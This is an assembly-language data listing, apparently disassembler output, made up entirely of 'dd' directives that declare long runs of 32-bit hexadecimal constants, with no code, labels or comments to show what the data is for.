		dd 2A3D3049h, 0CBE2AAD1h, 579D0703h, 8ADB0681h,	0A3E04036h
		dd 0DCB70944h, 0BE816172h, 40D0F004h, 0BED2F190h, 0D42C2E07h
		dd 369BAB6Bh, 63300158h, 43E37CE0h, 609AF14Fh, 57003480h
		dd 1499B85Bh, 0D59BBCh,	9E3B6322h, 7F1861D3h, 79E8B700h
		dd 0ED9A5E53h, 0E15DDBh, 8498592Eh, 0B7C67166h,	0C9D90244h
		dd 43842E6Eh, 9AA038A4h, 0A00083BFh, 0A21415E5h, 7001E40Dh
		dd 0A7BA1863h, 0BDDCA96Eh, 7D80003Fh, 0D43B395Ah, 9202C525h
		dd 0FDC25388h, 8776C32Fh, 4D82005Eh, 0F5E889h, 0F410DE9h
		dd 0B0D41AD0h, 0A413DFE8h, 0F8401049h, 0A6B1B821h, 4480005Ah
		dd 2B6654D1h, 4F5039D7h, 0BB188CE4h, 36D9921Dh,	0AEDA0164h
		dd 17C0A69h, 6AA6E4CAh,	0C9002875h, 0EA5E4212h,	0B1CD7Fh
		dd 0A9B5CF84h, 4F252CA0h, 1FB49600h, 0A3E337D6h, 3C2D74F3h
		dd 0E4504089h, 9B590047h, 156F72DDh, 5F5B1CE7h,	64F57000h
		dd 0C16B2Dh, 3E2397CCh,	0B7E1462Ah, 0A500B0E6h,	94C0285Ah
		dd 0FA7D88Fh, 554180B3h, 40D4B9A7h, 38306A9h, 84DE314h
		dd 4C5B0BEEh, 0CF483A6h, 0E13AA0C7h, 59C100FDh,	40FF2C96h
		dd 290FEF03h, 204EDC91h, 0D01D8053h, 0B9E50B39h, 7E00E276h
		dd 0CD3FECF7h, 331FFF00h, 850FC360h, 0F1C500BBh, 0AAE266B8h
		dd 97F657B4h, 8086133Dh, 8D2B2759h, 4A0E0D87h, 0D2500080h
		dd 0D5DD353Ch, 372D6701h, 0D15E8A9Bh, 20287ECh,	92F9982h
		dd 5460228Ch, 43004DADh, 0E8EC40CEh, 1F1B3FEh, 0F968A65Bh
		dd 40C68105h, 4A30BED0h, 3E9C665Dh, 1380062h, 6F9C99B5h
		dd 27190C06h, 3A20B2AFh, 33785600h, 4314B83Bh, 99DC87h
		dd 0B79C98B0h, 8E601901h, 0B4FCA338h, 860900EBh, 547BABF9h
		dd 8300DC8Ch, 17403BC3h, 64D3D6Bh, 0BE025A9Ah, 5D018099h
		dd 0E2A765EFh, 30406B91h, 160FCD9Ch, 0DBF68Eh, 6C153B46h
		dd 0F103BD3Eh, 0A603367Bh, 1417D98h, 13CCA775h,	409D027Eh
		dd 875F1D0Ch, 3D39DC00h, 7C34B588h, 6AE400A8h, 79551A92h
		dd 5300AB3Eh, 249BD703h, 1838DFh, 0BC429D5Ch, 80C7FDBDh
		dd 0D644A901h, 48F4C6BEh, 76D7EDCh, 0DBC9696Eh,	0E037A081h
		dd 0B30050B9h, 5546097Bh, 58E348h, 0C0A00F03h, 13C56F3Ch
		dd 74BE5907h, 2C5005B7h, 9BAEADh, 657D8147h, 0AB30D34Fh
		dd 338F8900h, 8FB73A6h,	0BBECBDh, 9AB49E6Fh, 1C2ACA8h
		dd 0CFDE7900h, 0E60D2778h, 7B623942h, 135A2600h, 90C1E9C4h
		dd 5C611D04h, 2488A704h, 0D1C500A3h, 78263B31h,	9CC021Dh
		dd 14321B6h, 0E7A4D1D2h, 0F014C0DBh, 88019E5Ch,	1C4B37EEh
		dd 482DBABDh, 5BE8B901h, 0C8A04767h, 9403F153h,	0C4EC70EBh
		dd 1D9E80EAh, 40BA4F64h, 0AFE37F90h, 0D001756Eh, 9CD5C7B4h
		dd 28BF0DCEh, 0B0803536h, 0CE020B46h, 3E3B34D1h, 4610C831h
		dd 9B3FD117h, 0AB418F8Ch, 449E820Dh, 1C4789Fh, 43E93F83h
		dd 0BA69D5ACh, 0BDCA1889h, 2F3A41h, 5FB4106Ch, 0A8869CD1h
		dd 28D02BB0h
		dd 1012348h, 3B36D1C4h,	88CE186Eh, 0D10ECD74h, 0E0AAC37Dh
		dd 6DEDBA0Ch, 0BB2C1856h, 8AC08145h, 5800F37Bh,	0EEFFB7ADh
		dd 0F82A9C32h, 4C960001h, 22EC863Eh, 80EB68D7h,	6C35A559h
		dd 90E79914h, 0E8196001h, 9CCB3654h, 0E9B2CCA3h, 0E0169423h
		dd 901E73EBh, 2888F11Eh, 0D000973Bh, 1F17AADDh,	89DE0067h
		dd 0F25440FCh, 20003608h, 490B3E2Ch, 7C1BF16h, 2B447C35h
		dd 8EB2F0E9h, 0EE0004E8h, 6559616Fh, 2CA4EA8h, 0D5977819h
		dd 0FEC0C01Dh, 0A701F581h, 0C4363C32h, 0AA30EAABh, 0CB1B0E12h
		dd 858768BBh, 7BF538Eh,	0A4E489D8h, 80E3D239h, 5286D614h
		dd 65E15Eh, 0C2717419h,	0C0A7FBC5h, 0DA003B79h,	2C67113Dh
		dd 0FE100D88h, 6FEF00F4h, 0AD464316h, 0EE3D4F98h, 49F38706h
		dd 0F7A03951h, 2A47678h, 0A777BA24h, 55616A58h,	4F99C825h
		dd 39A84731h, 0CAD4DC71h, 654000B7h, 93F626D4h,	1E3B2112h
		dd 28C77717h, 29B076E7h, 0E75A059h, 8112E363h, 77B100DDh
		dd 0BD76B0CEh, 4E03B3E8h, 1341EF6h, 0A360005Ch,	7571777h
		dd 0BEF449A6h, 0E40AC800h, 6ED3E13Bh, 0A5F60050h, 0B263DF34h
		dd 591FAEFEh, 61006F31h, 6BAA77E9h, 0A7DA31A2h,	7F12E718h
		dd 0C0D925A0h, 1D1C0D29h, 780CCD5Ah, 0B0A25F96h, 0C46639E4h
		dd 95125B80h, 0A0D95944h, 0A3E89E00h, 2367E598h, 6141004Bh
		dd 0C560936Dh, 210395BBh, 4539B587h, 0CE78C036h, 106D002Eh
		dd 171C0733h, 0A00003AEh, 0A2BCDC96h, 0CF57AA81h, 565E771h
		dd 62901B48h, 93E06913h, 3601D1A8h, 0DEAA9571h,	47B880A5h
		dd 0E36096B7h, 0DCAD00CEh, 0B8097CAh, 23000A4Ah, 0F08F205Bh
		dd 18060F65h, 18961E3Ah, 9907E53Bh, 5C439587h, 0D501FC1h
		dd 2A224F08h, 18B45441h, 407922EFh, 40BB821h, 4C429B27h
		dd 0B8CD19BCh, 609661DDh, 0C2CE2C38h, 44F54A00h, 66A0C03Ah
		dd 11704C6Ah, 0D5641F0Ch, 78B203Dh, 0ECCF0320h,	5193C634h
		dd 4079CB4Ch, 9603E81Ch, 82B0EB03h, 0BEF1C13Eh,	94E0FBC1h
		dd 24A30C99h, 9B7131CEh, 0CC28F578h, 0FA780836h, 50ECD22h
		dd 0D69FF983h, 1859C004h, 0B952255Eh, 0DD172E94h, 26885F14h
		dd 18308E9Bh, 324ACBCh,	0F57A30F8h, 98730186h, 0F2FA3A0Dh
		dd 3E05838h, 420D0922h,	0AC065E60h, 316009B8h, 0DEA6321h
		dd 51160054h, 23112E9Bh, 0B420042Ah, 0CAD0EF2Ch, 4CA9DF01h
		dd 0BC19319Dh, 9600B07Dh, 42E4EB95h, 0B0779752h, 1E870AFh
		dd 789A1050h, 0D817215Ah, 96325459h, 30FCA05Ch,	78110D20h
		dd 36880E62h, 0D087980h, 0C86302h, 0F1589077h, 2B4F8EF2h
		dd 0CD019207h, 887B4A51h, 0AEA08C16h, 1901C376h, 0BA31E6A6h
		dd 63D0E789h, 0F420C04Fh, 8E65C3F1h, 1B44A001h,	2252B25Ah
		dd 9B47080h, 348DF472h,	0D3773Bh, 0E9F93EC3h, 291921A1h
		dd 7BB003F1h, 78D860FCh, 0EB6B1218h, 888800F8h,	0B0ACC3F4h
		dd 2BF65400h, 0F7C96125h, 0D20E150Ah, 0EA00FC4Ch, 0D320F878h
		dd 9E1A1975h, 90087DC5h, 7E708D70h, 265502F8h, 8A48BDCBh
		dd 21434C80h, 3148C410h, 357B117Ch, 693FAC42h, 0B29DB500h
		dd 0AF4D6E9Eh, 8D39813Fh, 61CD336Ah, 0BA34F800h, 4991C945h
		dd 58C29013h, 0A0D269C0h, 640C9100h, 0C4B4BD7Ch, 0C974FCh
		dd 936B60A2h, 45D0F388h, 9C1DC124h, 4982380h, 0B635D6h
		dd 80660E95h, 0EEAF1214h, 7C789479h, 180DDD22h,	81EE2ABh
		dd 41DFC2D1h, 0CDF50906h, 9C3C0089h, 9992B698h,	0B70E695Ah
		dd 0C072637Fh, 82FED3F2h, 0F139C12Bh, 0C0DB32F9h, 85000205h
		dd 0D0489EDDh, 3AACCFC6h, 54606C8Bh, 38974036h,	0C8F2B0C6h
		dd 0E7EF0369h, 6AF186Ch, 997753B0h, 5DCC7C00h, 9D4D61A3h
		dd 0F57E1863h, 54353134h, 99D6D205h, 0CF80848Fh, 71585AEh
		dd 437DC0E4h, 5827D980h, 0A842208Eh, 1D072E96h,	8A36F9D1h
		dd 2F85732h, 0C8A0B9D2h, 58F02AC7h, 0A426B707h,	52C037CBh
		dd 7AE90B2h, 0D918FBC1h, 0E4B547BEh, 0F14C8C5h,	0F0542402h
		dd 0E25F1548h, 90544161h, 3C281E30h, 13C88157h,	7CA32A00h
		dd 8D9922E4h, 2F0037FCh, 23F77FF2h, 5C68BA7Eh, 0F60F3250h
		dd 0A3007CFCh, 9EB47397h, 444C4F1Ch, 7154CB80h,	0C9CC7Eh
		dd 0A0D84D3Bh, 8A92F39Ch, 6CEEDA13h, 0CF2B6C02h, 0F52448E1h
		dd 0C920Ah, 1DF0C3CCh, 0CA7945DEh, 23AA2E00h, 126C9630h
		dd 0B9D815C4h, 640084BBh, 0CAF5B59Bh, 0CF4D8350h, 24381D98h
		dd 0BE232D00h, 0FC48654Bh, 175014ECh, 0FF00F2E2h, 98F8445Bh
		dd 11146F26h, 0FA0424E7h, 183F0BC3h, 0BC4C100Ch, 79185Dh
		dd 661B8BE3h, 88634EC2h, 8F3D1978h, 4FA60062h, 40690BB2h
		dd 8A5C1B79h, 619A281Ah, 2DB16200h, 3357C87h, 16F56E0Ah
		dd 6DD0BF44h, 3B00D11Ch, 0C9CF747Dh, 585282h, 0F66B46AEh
		dd 0F9A594ACh, 4F697E4h, 1341F000h, 0AA51BD7Bh,	507E28h
		dd 0BC1A990h, 0D44E3AA3h, 0E1EEFE00h, 0A26F7D1Dh, 8A191DD9h
		dd 7A6DC098h, 6CECC82Fh, 5B656800h, 0AEC52A80h,	0D54A0144h
		dd 0E0AB5FBCh, 0BAC8EC79h, 25C8600h, 0D030D95Ah, 0F920E61h
		dd 0F820AB5Bh, 0A4B429E8h, 0C6478D00h, 8B33771Ch, 188AE24Ah
		dd 0BAB253ACh, 0BA00A901h, 0F62F68A2h, 0E55836h, 57F777ABh
		dd 0E08E7C73h, 1CA8963h, 0C7A9C031h, 77D50090h,	0F32F3CE3h
		dd 0D00EF8CAh, 21878C0Ah, 0B3A10C30h, 6A9FE8h, 0B7640641h
		dd 6092637Ah, 0EE0F4C71h, 40956665h, 253B539Eh,	6218C079h
		dd 935ADBF0h, 690B1175h, 7E41CBh, 30152D13h, 22B40056h
		dd 677CE05Eh, 4B008F5Ah, 0AEEA6C08h, 7CE8A16h, 0FA62B2C1h
		dd 700691E6h, 42F6FC88h, 80B1503Eh, 3ECBDE34h, 49F9537h
		dd 0D7EC9E80h, 0C01C871Ah, 6A2759A2h, 0D1216100h, 0DE19301Dh
		dd 0EB2A0BDCh, 0A050EF07h, 53708560h, 763E3CBh,	0F7D72FB7h
		dd 7271C138h, 6A9AD475h, 0A283D01Eh, 34E5000h, 45EC7h
		dd 96B587E7h, 105520A4h, 377F5C90h, 0C6D13000h,	1E6A6E93h
		dd 48A3000Ch, 7757148Bh, 8671D275h, 62B09400h, 0FCADB7ECh
		dd 22010F6Fh, 0A9E1E7EEh, 83C0736Eh, 0FFAED599h, 0DB2CE063h
		dd 356F1F1Fh, 265C050h,	8B62C754h, 84264C00h, 36FEC4AAh
		dd 0B02500ECh, 0E1A99A2Ch, 49001590h, 16AD9322h, 0BB9814h
		dd 40E6F938h, 0B54FBCF6h, 64074C03h, 0B0329CEDh, 60BB106Ch
		dd 0C260D1EBh, 8AF2A69Dh, 0A9C490C0h, 0C981D64h, 0B8FF9E10h
		dd 0D900F419h, 0BD8E536Fh, 0BAFCC8h, 832C4294h,	0E3FD49DAh
		dd 0BC7A48h, 392FAEE7h,	20B8FB9h, 0F53533A8h, 606E40h
		dd 160715EDh, 3178BF2Eh, 0A0AEA1B2h, 0FF4E9B84h, 30190022h
		dd 0E2CB3AAh, 0C2E67C84h, 0A8E60F2Ah, 0B8998C0Eh, 8B3F661Fh
		dd 2A937E38h, 7CC0495Fh, 34C80165h, 0D0C3BFA9h,	0FB2FF472h
		dd 260F247Bh, 14A735EDh, 0C26900B2h, 64A2EF2Ah,	90AF1263h
		dd 222C4ED4h, 9235FD21h, 0D708C457h, 9190DC60h,	0C7F6C8DEh
		dd 61E27AB1h, 0C4615DA1h, 0D528817Fh, 0BC00D831h, 5E0472C6h
		dd 3F97C539h, 0CB005667h, 0E505AA2Ah, 50C1B19Dh, 0D302EB4Fh
		dd 1AA100C3h, 93EC071Dh, 0E930688Ch, 0F5F629BAh, 427150h
		dd 4B5FF11h, 0CFE985ABh, 0D998DA00h, 0C1C7EA9Ah, 1D090158h
		dd 889C3F40h, 0EBC058E2h, 0D4006F43h, 8F295DB1h, 0F403567Ch
		dd 525BFA0Bh, 51EDC919h, 5D28728Dh, 0B79330E8h,	0DD5EC115h
		dd 7A968098h, 0A8F0DFBEh, 0EC75C88h, 0CA97CB51h, 9ED94E80h
		dd 913F2DCFh, 6166999Dh
		dd 0B9E48080h, 51520AC8h, 0E0981A2Ah, 32BE63Ah,	0F1E858FAh
		dd 0AE003F72h, 6BB07C6Ch, 3A71D37Ah, 3B0A7861h,	4F548193h
		dd 0C6A54BE0h, 7279A7C1h, 0F45222F8h, 88007EACh, 456E0D14h
		dd 9521CACh, 0A2CFC5E8h, 996F4C02h, 0E5E6CE40h,	8B93818h
		dd 184E6191h, 11FD1628h, 7609FE4Ah, 27D4890Bh, 1E903D48h
		dd 3386535h, 30F80EC9h,	8FF09A66h, 0EB3BAC23h, 8864803Ah
		dd 9F872833h, 0DE0D129Dh, 1C3600D6h, 0ECA3ADEBh, 66F77000h
		dd 0B5D3E2C3h, 656F0083h, 41FFF5F2h, 3101A08Eh,	0A37C5E0Ah
		dd 0E13043B8h, 9F070465h, 90787F6Eh, 0FABA6C14h, 53BF9700h
		dd 3880E1A3h, 18C598E9h, 0B09D8978h, 0EA9E90FCh, 0B49B900h
		dd 9813C2E4h, 9CF70204h, 2C0E2FCFh, 0EC05A8C0h,	0C0C7EF0Bh
		dd 0C143804Ch, 3DBA723h, 1033A36h, 0BFE1B4BEh, 60FB3058h
		dd 0D4DD8B24h, 9834FFC3h, 18B55B73h, 189B3C80h,	0A22A2EA4h
		dd 0A8A0A83Ah, 8C26A786h, 1EEFB8C1h, 8D885D40h,	248AE41Eh
		dd 122065C7h, 2D604C2Ch, 801DBD8h, 0D9B87161h, 84500731h
		dd 49E09C73h, 0E6004CC2h, 57B88127h, 0B301F792h, 993610BDh
		dd 0BC519D98h, 72F555A2h, 162424h, 4B11C169h, 8B5AB989h
		dd 0D340B500h, 67C879D4h, 8E981BD1h, 0A0A7E943h, 1399E2Ah
		dd 3B62E458h, 0E09500ACh, 0C02F18DCh, 0E89498B1h, 4DF200B3h
		dd 38DDA7F3h, 6700471Ah, 4026517Ch, 0D83DA2h, 4521C05Bh
		dd 775FCB2Ch, 0C62E8801h, 0C06F37Ch, 30F239C8h,	8D786D6Bh
		dd 5475B3A4h, 0F3DB5F00h, 0F5E7DF0h, 4D26029Eh,	0D4AE42FAh
		dd 8AE1EC68h, 0A9CE5300h, 641CE51Fh, 0A410070Ah, 0B39D82CDh
		dd 2A88FFA1h, 0AA3C285Dh, 757B85A8h, 0CD00C979h, 0D8BF088h
		dd 0E3E70087h, 90B7FEBCh, 0D613B592h, 2C0B27AFh, 0A1FC2179h
		dd 0CC343234h, 91B50148h, 9DF11B42h, 0C0E9D047h, 60180B26h
		dd 8A282480h, 18206415h, 0D89E6837h, 0A0E8CC1h,	0B2352114h
		dd 66802B1Eh, 0E6010BA2h, 12E4707Eh, 4007F8h, 3465949h
		dd 8617BB52h, 0F38020C0h, 745318Dh, 4BBF0276h, 85E11094h
		dd 0B600ED0Ch, 0BE3D9768h, 3563EB8h, 32490942h,	0DAC008A6h
		dd 0D800A2B3h, 249CF603h, 9A538FDCh, 1589265Ch,	315A80CCh
		dd 87191A96h, 645649h, 0FAEEBB01h, 25B944h, 335D1BFEh
		dd 0E95A0E38h, 82C90307h, 0BE902D18h, 14A8E90h,	0CA9ABCBBh
		dd 442E1D06h, 867CC098h, 5500E4B8h, 0BE17838Fh,	92DFDC78h
		dd 1DF800D0h, 0A7A4DD67h, 630076D1h, 5E47EDF5h,	3B10CAAh
		dd 9E6ABD2Ch, 3FA0F8FAh, 68FCD499h, 0C418EF00h,	0CF30F62h
		dd 0B3503B09h, 88D37B80h, 1A6075EEh, 0BFAB3C02h, 649DD8CAh
		dd 98E73888h, 72CB348h,	3ACAC38h, 5C645DEEh, 0ED0780CCh
		dd 573B29F0h, 6C1D00DBh, 0CBF69ED5h, 7A4B0E0h, 96234925h
		dd 0DAB7A304h, 7F9D2290h, 0D47B49h, 0D2A48703h,	0E768917h
		dd 267E2FBEh, 0BC50480h, 79023239h, 0D9AB53A0h,	0EAD84082h
		dd 49A3Eh, 0CCE54F80h, 0ECF689CEh, 21B6200h, 4394A49Ah
		dd 3BFC1FA5h, 0FEF040DEh, 35B7F56Ch, 0C3479013h, 712C4440h
		dd 0D72853h, 0DF9D0968h, 8A5DAD0Dh, 20352D0Bh, 5B1800E8h
		dd 0FED7BBh, 7047C0FCh,	595B622h, 2CEBAB02h, 0D48EF84Eh
		dd 7F26007Eh, 976558C9h, 86D760C1h, 1024197Bh, 5CF27C56h
		dd 2D0F9455h, 0B7E048F3h, 0A50E4EEBh, 63A33D00h, 97F6AC11h
		dd 23310737h, 0C201FD9Dh, 0ACA1BE16h, 0DB59DE71h, 814D6000h
		dd 6DBB74F5h, 8A70E04h,	0F0A62DF8h, 9B04216Eh, 622F77A8h
		dd 0EF606091h, 78759C32h, 0A98C5B8h, 9D84C03Eh,	1800ED65h
		dd 0E2206B01h, 1D1E24FAh, 80A67B5Ah, 0AAA026DAh, 1B17AEFFh
		dd 5404E9E3h, 0ECB047D4h, 4D4B9845h, 371DB8AAh,	0B41D95F1h
		dd 69466501h, 5089BC95h, 0A009BAA8h, 0CA448E05h, 0D8C625h
		dd 46310067h, 0F8F51EA1h, 8D01A4E9h, 0AB8268ECh, 60875C2Fh
		dd 6D7DB38h, 8900118Fh,	98BA0FA3h, 773B58BEh, 5718DE8Dh
		dd 48A30050h, 4EAC9BC5h, 6605F57Fh, 0C6C08B52h,	15A93888h
		dd 0DC64EB36h, 6E869A01h, 28956B61h, 14B3B08Ch,	432900F1h
		dd 0BFF8AE79h, 0DD0493ABh, 0ACC4C3BDh, 75FF6C80h, 1D3B00AFh
		dd 7D33ECAh, 77798419h,	625FB21Fh, 8DB386C0h, 154E0640h
		dd 0C8DACA87h, 0AF361B31h, 5686CCE8h, 22ED1403h, 0B05F5780h
		dd 79C4F52Bh, 0C38E0C77h, 68984898h, 90DEFF00h,	0C4C12E09h
		dd 54DB047h, 0E4853F58h, 8D1CC0B1h, 18F8D6A3h, 0C04E95Dh
		dd 40469AF4h, 1E3303ACh, 8932CF40h, 712688CEh, 0A781C866h
		dd 73459F77h, 7A851881h, 9E35486Fh, 85FF3E11h, 1C90A2B0h
		dd 32776F80h, 0F1AF003Fh, 2E01785h, 6C01871Eh, 99FBFCAAh
		dd 0E8E8057Dh, 79F2E034h, 16F300BFh, 9E04ABF5h,	0E10E2652h
		dd 803C3571h, 0B57497BEh, 70B91F7Ah, 44BC805Ah,	3049963Fh
		dd 2C79CF00h, 0F5D7DEFDh, 1B5C24A0h, 3F870048h,	61D4D59Eh
		dd 0CC9827h, 0AF8B6F98h, 876B05EEh, 80E306C7h, 32C4FCAFh
		dd 9562410Fh, 815784E7h, 0E4F7E4D7h, 24B3F980h,	5A27D3Dh
		dd 0B28DB4A4h, 65E881BDh, 0FAC8C766h, 2500D923h, 9F0BC87Bh
		dd 7EE78Dh, 0C910208Ah,	649D5D2Bh, 0DD39F600h, 9FF968D2h
		dd 0A04C1FB7h, 793FB5h,	0D8EF3FE0h, 1AA4BD7Ch, 5A98660Bh
		dd 5F16005Dh, 0DA931Bh,	865CE04Eh, 0DE8FBF39h, 800D4C39h
		dd 7C9BA8D4h, 0E0A581h,	722582DBh, 34966CADh, 5EE8A100h
		dd 0CF7E3F1h, 0BD580066h, 0D8575BAAh, 0FD793D80h, 4FE47700h
		dd 5F437BCh, 3F670063h,	39C91942h, 32007448h, 753C2C66h
		dd 69256Dh, 0AC7CC35h, 204A1236h, 702E1A98h, 7800205Bh
		dd 0BE4E7604h, 6C270039h, 0FB3EEC1Eh, 7B003874h, 562BA4Ah
		dd 0F0C23C15h, 0E18303FEh, 0A1D16B36h, 606E94E1h, 2850CD91h
		dd 330077D4h, 8531B83Dh, 0BF9FB7Dh, 5BB16037h, 40E75907h
		dd 0F3903621h, 7C38AC02h, 58678B79h, 856E004Ch,	0C6B9F2D6h
		dd 1302D587h, 974FA69Fh, 3876E0ABh, 0F9414EDh, 0A9000C11h
		dd 6732F857h, 8500D347h, 137F3A93h, 9CC952CAh, 2B1B0094h
		dd 0F512F089h, 6E4E3500h, 6D4B05EEh, 47F20EA0h,	5DD859h
		dd 98088AB5h, 2700F717h, 0EAEBF02Ch, 26127Dh, 0DBAB7C07h
		dd 0C9E0A9A4h, 56883Bh,	0EF540108h, 36A295h, 1C11676Fh
		dd 0A13904A8h, 0A0690CA8h, 32AE5407h, 7A60FA50h, 90A9344Eh
		dd 36956071h, 0CA6CBBE7h, 320FF2B0h, 404E07E3h,	654BE89Ch
		dd 0B26200F4h, 47388C17h, 793CEB90h, 2EDD0099h,	91FF122Fh
		dd 0D2CC007Fh, 0A5A0733Ch, 283976F3h, 0B150009Bh, 0ED2AC189h
		dd 67E3009Dh, 70DB785Ch, 0A615FEAh, 5DAF8AB0h, 18F483DCh
		dd 10140995h, 5603E3F9h, 0F8D70470h, 0CD06988Dh, 547E3Dh
		dd 297D6B39h, 0C59ACCA9h, 0C800C1FAh, 7F574995h, 1AF9190h
		dd 1931720Eh, 834537AEh, 23D15F28h, 0CA20AF3Dh,	1D89970Ch
		dd 40EF3Ch, 43C7ED8Ah, 0D3004C99h, 0F72B6A25h, 0A3CCC87h
		dd 0DB4D8363h, 73E00D7h, 659FFC0Ah, 0D4272B00h,	85FE3246h
		dd 1BB00022h, 0F8B58687h, 8B00CF95h, 538AAA01h,	0C02637h
		dd 18986DEBh, 0FC0F10D8h, 7D510200h, 0D2D1F82h,	0F8905Eh
		dd 0DB70F938h, 0D5591B9Ch, 0BFC92700h, 36514975h, 5FE50098h
		dd 0FA94AB31h, 2F00881Ch, 8D906926h, 74254A8Ah,	299501ADh
		dd 0E317E0ABh, 0FB30307Fh, 0AC6BE07h, 8540C2DCh, 4A9733A1h
		dd 58C445CAh, 76BC00B8h
		dd 7150E4DAh, 826DD8F9h, 0C29BBF00h, 7E9FEB2Ah,	0E95301FDh
		dd 0E2DE302Ch, 40C0DDDCh, 113ECC90h, 5BD10803h,	0E86FDF66h
		dd 7AC828Dh, 0ABA8B65Eh, 0C879E0F8h, 0BB01A4F2h, 15AFA1Ah
		dd 4BF41149h, 0F6850B0Ah, 0C802533h, 0F438139Eh, 1DAC981Eh
		dd 0C803F52h, 0B4A7FD96h, 6DA50008h, 8DAB4ADDh,	452EDC07h
		dd 0FCF13CAh, 0BC5600BDh, 76EE0E68h, 73260295h,	21812C24h
		dd 27E868C3h, 30E8E2A7h, 0CCBACE00h, 98289D65h,	0C55A00B8h
		dd 0EE38FB9Ah, 78C10BFFh, 0ECBC5711h, 640160BCh, 0C3AA3F9h
		dd 4923E83Dh, 949850A1h, 15F2F838h, 105C2822h, 0B098A6A1h
		dd 8174194Ah, 44ABC305h, 100AB596h, 0BC9C7823h,	0F8A13B40h
		dd 3DE2930Eh, 0C8007B96h, 0A5805D10h, 4A00ED29h, 76DE2B3Eh
		dd 770D6715h, 0CC9A1C91h, 2CCAC0A9h, 2E9E6120h,	3C6B8607h
		dd 0EEF1AB16h, 63F025F9h, 769417E7h, 31C84012h,	98A6D138h
		dd 891A5375h, 84491h, 0D1575110h, 0DDA600BFh, 695ACB48h
		dd 3A313264h, 2D0D5010h, 2A46E050h, 163E03D2h, 1D223265h
		dd 0E859205Bh, 0EF189778h, 98ABD108h, 40CDC53Bh, 0D1066284h
		dd 0F1E2B011h, 0F8028100h, 3156C8A6h, 0B2400066h, 67619C52h
		dd 0A4A898AFh, 0B300EBFFh, 0E8434E50h, 0D03549h, 462F69AAh
		dd 6E2E42B2h, 0E2D46700h, 0E345AD95h, 0B3803E3Bh, 0DB1D7C83h
		dd 0ECE8C41Ch, 2E002D8Ch, 0B91B9FC6h, 72355B1h,	0B5160D2h
		dd 19B0205Fh, 3801E1BCh, 0D7CE7D07h, 9EC1ACCh, 0B04372A6h
		dd 2E99001Bh, 6619B3B4h, 0F13B7290h, 4B9B80BCh,	7D1EEFF2h
		dd 63FE772Eh, 71A518E4h, 3D8F5906h, 0E8312F76h,	0AC0401CAh
		dd 0F82E9B2Bh, 5022F36Bh, 8B613F77h, 40AF4F80h,	124CAA1Bh
		dd 0E1F23375h, 8A711A01h, 5539C451h, 63D8C0F9h,	497D44h
		dd 3F25CC5Bh, 5C6E15EDh, 33C9718h, 0EC5FD81h, 9BA57BF3h
		dd 942DBBA0h, 0B3005391h, 0EABCE539h, 603C462Eh, 0A16331ECh
		dd 6600FB82h, 77E61783h, 1C064Bh, 0F82775D2h, 3C65F5FAh
		dd 80A93E3Ch, 88BE1344h, 5068FE1Dh, 3AE8946Bh, 63000384h
		dd 510BC11Bh, 26607ADAh, 703A7761h, 0BAEC0597h,	832A0Fh
		dd 815646ABh, 47F4D930h, 1300EAE0h, 8FCD08Bh, 0C6E18E97h
		dd 86737048h, 0D3AE1502h, 40F48C54h, 6FFA1Fh, 927D7FA5h
		dd 46FCCCFDh, 0AE1EEA7Ah, 1FF8199h, 0F8B1FF3Dh,	8CFCCD83h
		dd 1642F293h, 7181C8Fh,	10A2ED3Eh, 0CCF4BE5Eh, 0F200D2B0h
		dd 0F35AAC14h, 1D2B07C5h, 49C0F10Dh, 0CD837650h, 0B1A0A058h
		dd 0B70E26F4h, 80CD7120h, 54DB6B3Ch, 37C200E4h,	1FF1AEBh
		dd 30068A7h, 0D2BA8A7Eh, 60AFEE2h, 6487B38Fh, 4F7D806Eh
		dd 0B1FCCF00h, 0E42BC4F2h, 3E77153h, 0D7B080B3h, 6E0CDEBh
		dd 4A00A208h, 2FB4B5A9h, 3576E9Bh, 43385D44h, 0A1E09D8Dh
		dd 94607D01h, 1079FCC8h, 0DC2E0711h, 0E031405Fh, 6DB9C99Bh
		dd 0B27DA600h, 0E6E57A72h, 0FCEC00F8h, 57B7E409h, 0AC773ECBh
		dd 3A64B007h, 0EEC05BC5h, 0BF80B8h, 81DFC1BAh, 0E32DF5B3h
		dd 0DE97FB14h, 86DC0A84h, 1A83C088h, 1C0250EEh,	0F03BA250h
		dd 9CA12E90h, 0F75EFE00h, 8AAE3A33h, 0E6BE0F9Bh, 0CFA040F1h
		dd 591D7775h, 0CCFBED0Eh, 3C102003h, 759DD2ACh,	5B3A01C6h
		dd 547CFEB6h, 0B356DC79h, 7644F902h, 974818DEh,	9B00F504h
		dd 77D957E0h, 8E21067Bh, 207DD227h, 2D5F4400h, 0FB65DA70h
		dd 33950061h, 0B8A404B2h, 0BF3A0F4Fh, 0A85B8078h, 0C4945E79h
		dd 8982E2Ch, 5DF10056h,	0E84EB965h, 0D682671Bh,	0EF110271h
		dd 0EEBF4251h, 82D0E0E3h, 0A40046D3h, 8C5629AEh, 775AB9Dh
		dd 2B3690DFh, 0BFD870E3h, 5B1F6A0Ch, 0C1B038BDh, 2E2D56Eh
		dd 0B2C4C3EFh, 3480FA79h, 0FDAD4A3Eh, 6946D100h, 0BE5F94F9h
		dd 56B87Bh, 0EE7A49Fh, 0C31D1650h, 8F3D560Ch, 37A381Bh
		dd 91E82573h, 0C7C8221Ch, 0D900F1CFh, 0DB353D43h, 54B1756Ah
		dd 0A2A348Ah, 0C99CDF52h, 9FAB40ACh, 4D01249Dh,	41EEB879h
		dd 0C7A488h, 0B5F37821h, 0D8622C60h, 654E75Ch, 410409D4h
		dd 0A0F20020h, 52EEBCB5h, 0A6000DD3h, 0B2CD1ED0h, 30DA96F8h
		dd 5A694F3Ah, 0F50C1BF4h, 91D9676Bh, 0FE200003h, 4C50B763h
		dd 0DD00C9FAh, 6B4FEA84h, 47CF292h, 0B35E85A8h,	9424721h
		dd 0FFFAF760h, 0D3241806h, 6B7A619Dh, 7700F3Fh,	349779E3h
		dd 0C1110140h, 15DB1E91h, 81E4A9A8h, 814CFE70h,	5009CDE9h
		dd 0CFCC3CD0h, 6E89581Ch, 0FE31F258h, 0A8533111h, 83FCE881h
		dd 0AEDABD78h, 80082A34h, 507708h, 9504A0E2h, 11695796h
		dd 4A1BFD04h, 2883743Bh, 4B3EF1FEh, 240C4917h, 0CA9F8A0h
		dd 673C2323h, 35414A20h, 79DC8338h, 0A0D35441h,	4C231B85h
		dd 0E006C070h, 1C3BBD03h, 4EC137D1h, 0AAB88029h, 0F11D1F41h
		dd 0BCC97B10h, 85341839h, 0A4435435h, 29B030A8h, 0BA81A1D6h
